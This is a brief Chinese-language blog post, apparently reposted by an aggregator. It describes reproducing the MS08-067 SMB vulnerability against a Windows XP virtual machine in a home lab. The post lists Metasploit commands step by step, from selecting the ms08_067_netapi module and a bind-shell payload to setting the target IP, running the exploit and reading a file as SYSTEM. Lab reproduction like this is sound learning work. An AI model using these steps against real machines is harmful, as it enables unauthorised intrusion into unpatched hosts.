ms08-067 复现，使用metasploit
Posted
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了ms08-067 复现，使用metasploit相关的知识，希望对你有一定的参考价值。
参考技术A时间：2022-03-10
一、环境准备
1、需要准备英文的windows xp 环境。
链接： https://pan.baidu.com/s/1iN6hxbAlRHCaxPXaBiB4_g
提取码：y8mj
2、攻击工具使用的是metasploit，kali 自带。
二、复现时存在的问题
1、安装完xp之后，我自己已经复现了一次，发现拿到的system没有相关命令，可能是这个新系统没有添加到环境中，之后建立了一个文档进行读取，也可直观的看到结果。其他就没遇到什么问题了。
三、复现演示
1、虚拟机准备一下xp，建立一个test的文档，查看一下靶机 IP，靶机建立完成
2、使用metasploit 进行攻击
1）、msfconsole #进入metasploit
2）、search ms08-067 #搜索相关exp
3）、use exploit/windows/smb/ms08_067_netapi #使用这个exp
4）、show payloads #搜索相关payload，能让攻击后建立连接
5）、set payload generic/shell_bind_tcp #我使用的是这个
6）、set RHOST 192.168.154.144 #设置靶机IP，让它攻击这个IP，端口默认是445，这个就不需要设置了
7）、show options #可以用这个命令查看是否把相关配置设置全了
8）、run 或 exploit #进行攻击，两个命令都可以
9）、type test.txt #之后攻击成功了，使用windows命令 就可以去相关路径下查看那个 test 文档了
演示图：
以上是关于ms08-067 复现，使用metasploit的主要内容，如果未能解决你的问题，请参考以下文章